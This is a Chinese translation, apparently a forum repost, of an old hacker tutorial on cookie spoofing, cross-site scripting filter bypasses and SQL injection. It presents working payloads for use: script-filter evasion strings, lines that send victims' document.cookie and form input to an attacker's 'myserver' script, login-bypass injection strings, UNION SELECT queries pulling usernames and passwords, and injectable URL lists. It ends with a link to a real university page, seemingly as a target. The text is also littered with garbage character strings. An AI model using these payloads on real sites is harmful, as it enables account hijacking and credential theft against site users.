XSS & SQL注入

admin

XSS & SQL注入
( w! ]7 D7 b6 {" G( N8 a- t' J; t+ I文章作者：CyberPhreak
; y  ~' O5 i! q  P  Q% N$ V译文作者：黯魂 [S.S.T]
1 l0 E& W. K; M) @9 g1 E* d) a1 c

4 k0 ^2 |( e$ N! q8 [XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
! R% G( g3 B6 F/ n" Z; y' F4 ]X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

( N' J& y: K- |
# V- i# o8 Q+ v3 K3 [8 m~介绍

在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
. Y* V, q, t3 S0 y
XXXXXXXXXXXXXXXXXXXXX
  C; w) p# r3 A" s+ @X Table OF Contents X
8 |: S) ?5 H# j5 N/ ~8 `7 PXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
- n! q4 L3 O* u/ HX XSS X
: M6 x/ t7 c# B, B+ H& gX SQL Injection X
! V2 a5 t. t) d- o) HXXXXXXXXXXXXXXXXXXXX
! ]* J- @. x/ R4 G
~什么是cookie
  W2 |$ I, D! r. Y. ]
' o) p: k9 N1 q1 s7 z* s2 Hcookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
8 r; e: r3 s6 f$ m  O. W8 h  N0 g; x
~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

strusername=cnsst;strpassword=cnsst

5 n. {, {4 o7 B  S- B$ k此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...
5 V& Q( c' v- e- Z+ g) [
! p+ j0 S+ O9 B- _0 h% E+ G9 |+ O~什么是XSS
) Q/ \# G5 D: j: b  f; O% G
XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS

% Z/ }6 \% C" ?6 J, M很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
. M, o8 P8 Y0 F% x) d2 E  q1 k你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…

% v7 u$ R( ?1 g" U6 m' [$ `! ]( X我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS--跨站脚本&lt;html&gt;

&lt;body&gt;

( P5 t8 Q& l" k4 S/ Y8 ^0 j: P&lt;form action="" method="GET"&gt;
) `6 H& f( r/ {9 u; V  W
&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

5 M( m% X% ^1 C( c4 c$ x2 \Script: &lt;input name="name" type="name"&gt;
2 V" N* I. ?5 b! p- b0 ]# g
  s5 {6 @" w+ _&lt;input type="submit" value="submit"&gt;
# h, m3 @+ u7 ^$ q+ Z  d( B* U
&lt;/form&gt;
+ B! h, i6 {3 @. p& k% h
! K& Y( S0 `+ k6 Q$ O9 c! ?, i+ @&lt;/body&gt;

&lt;/html&gt;
9 {4 ~( k! x9 H
. G* p1 H$ k* \; K1 B$ D6 [

&lt;?php

$name = $_GET['name'];
5 v6 B! C* `/ y
echo("Hello $name");
5 z: _( p! f  Q  Y  s" E3 D: i
?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
' q& B0 W2 D5 Q6 ^4 X( g' j" F0 X8 N
5 c/ R% I5 \9 C: m# N! lcnsst
% l2 D2 e( R6 Z: m/ A"Hello cnsst!"

% y1 C8 \% W, e$ ^; j- z' T8 V引号内的信息就是输出信息..注意看,现在我输入:
0 z! \9 D' i5 O6 E8 R' N/ K+ g! k<script>alert(document.cookie)</script>

那么它将会弹出document.cookie!所以它是易受XSS攻击的!
$ n/ c& `' h& a* Q
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
) e, C% y) H& V2 d3 j
3 E! \6 Q" V! K9 M服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
. g6 N/ g: M5 w
已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

7 j2 z  I0 e( u* {/ D3 {让我们看一个稍微复杂点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
% O  W8 I7 f) H# b) S: N* `; Fscriptalertdocument.cookie/script
7 [7 G' u; Z$ g! N. }
( a. v* m( K5 u1 x! j0 ?( H可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.

% X0 R* e% l  B* K$ B- _% R让我们继续利用:
; u+ c- n7 z, S' g0 t& ]' u6 W2 N6 R<<script>>alert(document.cookie)<</script>>
6 j: M2 d' }6 [$ v1 d2 U' V3 X
7 q+ l) V* `$ N你的输出将弹出document.cookie.

5 ^' C7 n, F" m现在来看看更狠的:
* x: @- N- E; P' i<<script>>alert((document.cookie))<<//script>>


他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
8 j( P% s' U9 E& {' K或者 <<<script>>>alert(document.cookie)<<</script>>>  
, q" ?5 I# p, s  [% I5 C
他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
$ S4 ]) c" _; q! Y7 Q
: \& ~! ?3 N1 S" M6 ?4 t, E输出像这样:srplert(document.cookie)srp
6 @) X( Y  ?# r! u
仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
* Y' K6 x+ q3 O6 k4 y, Q<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
$ e$ [( y# f) M: P+ v
7 w+ D" U# w) \, Q3 j所有重复多余的部分刚好被替换!现在让我们来点更高级的!

这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>
0 F8 @0 S: K3 V4 c9 v/ }
( _3 w4 |; u0 ?+ T, ]9 N, o! v输出将是:
+ [5 B( s% h2 ~2 v0 g$ p$ }4 n' uscriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
  k8 u3 D- v; ^* R<<script>>alert(document.cookie)<</script>>
& m" C% P' r! ~7 Y6 f7 N, m
输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

<
& c7 [+ S& j% S) a0 L/ y( |  S8 bscript
>
alert
(
document
.
cookie
4 o1 Y& k6 g+ {/ C+ R  M! M)
<
/
script
" {4 i' j, n, _1 B>
& Z2 O2 i/ I! }% R2 v& ]! k! P
; D3 w/ S! ?8 J( }; h
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
c
r
i
p
t
>
a
2 g' o7 z" W& bl
9 j' W$ x$ o- }e
r
t
(
! @3 J7 K; O- j0 V( g+ Cd
8 _" S! ~2 X# w3 U. M: xo
/ P3 O( v) G" ?' Jc
u
m
+ m2 q# G. ?+ d4 h3 w# be
2 M6 @, ?# }, k# Fn
t
.
c
o
2 R- `- ^. e6 Y  Q$ M7 |o
7 c' X. e8 u7 v- d2 v1 L7 d+ Uk
9 g5 t2 W& F  g9 s, B2 d# Z; Qi
& H6 I6 P% K6 y, c- N7 z' Ie
)
<
+ p- C7 Z, \7 D) F/
s
c
2 G7 Y# B- m% ?% c1 M3 v) N; {r
i
! M* |( |3 W+ ^2 ap
t
/
# C- H' i  u8 z& |; j. Z7 i' p>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
8 U; O; x! [9 A0 f; _" l
现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
2 V. F  b8 L2 g4 ^document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
, R, r0 \0 p; G9 U) w  L& Z9 Y3 adocument.images(0).src="http://myserver/cookie.php"+document.cookie.
, o" Y8 o: q0 `7 m3 q. V% J+ a3 \6 ~或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
9 G; s& k& U4 D9 [* |/ _* K% ztelnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
% O; o5 p2 Y3 L  W3 r9 YReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
- G3 d9 W! k% U+ l5 I~什么是SQL注入
3 H: b& k+ D, Z, o  k6 G
5 x: R6 f. l$ W- @9 WSQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
1 x# q# K+ i7 U1 X3 N* X& L, h  Z% ~
&lt;body&gt;
5 k, o. p7 b  z8 [- ]
&lt;form action="" method="POST"&gt;
6 _% I% c# W" @/ i4 ~& o7 u/ W
Username: &lt;input name="name" type="name"&gt;
4 s+ `/ g$ Q7 I  j% h; m; Q. U
, V' B: Z/ {1 L9 L& I4 {$ NPassword: &lt;input name="password" type="password"&gt;

&lt;input type="submit" type="submit" value="Submit"&gt;
& @4 N! r) l3 g* m$ e6 j* W" E
&lt;/form&gt;

# y1 y( O, v9 M- r- j8 I&lt;/body&gt;
7 Y( `  q4 s" ~! e' ^
4 r- U. N: W4 I$ ?7 I; r&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
9 O8 h* M# p2 D) a
1 o. d  S# S5 o( ~最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
2 x/ ?% y) g1 u  \) M0 m
! Z$ x) u; z: W+ r  ['='
( c% f' n" ^" i! R& d5 f'OR 1=1--
4 f' X3 b; j$ {9 W1 K; A& v/ C'OR a=a--
'OR'

自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

8 N# ^: T1 ^- H'OR''='
'OR"="
'OR'="
' `) ]( B' H6 i  Z'OR '="
; E8 [' y* ^- l- \' h- d8 z6 i'OR "='
0 [- e- m! Z9 k$ h2 e' z'OR ''='
1 z" B# w! }/ _: R9 y$ ]) a'OR '=''
9 t, a( P- }; D2 \1 [+ H# H* z'OR "=''
'OR ''="


~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users
: L, L3 Y5 E! |, l: f$ T7 @4 h
1 {4 M% P7 s2 E7 L  b这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
) z6 V# O2 ]5 x: Z) RAND password='OR "='
" h$ P9 P7 M  U- S
你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

7 g0 r- F( l7 u# m) Q0 {: D一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
# [! U+ u, Q4 a8 ^# y  B7 xUNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
. x. G, ]( `3 w* T: }
现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='


现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
4 o( c3 F! f! o( P4 f5 ]/ Phttp://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
http://example.com/index.php?article='OR "='
$ R5 o/ K* V9 J  bhttp://example.com/index.php?article='OR ''='
/ j/ {4 u$ _3 C  z$ _0 R; `8 F) g/ Yhttp://example.com/index.php?article='OR '=''
$ q: z% q7 z+ u0 A& s/ K" ]" ghttp://example.com/index.php?article='OR''='
9 p: k9 y2 Q1 n) H+ d0 dhttp://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='

" f& K+ F6 o) K尽情发挥自己的创造力!
- B! }4 x; I* E9 I& |2 |' F/ a3 j  \http://www.ie.tsinghua.edu.cn/notice/show.php?id=704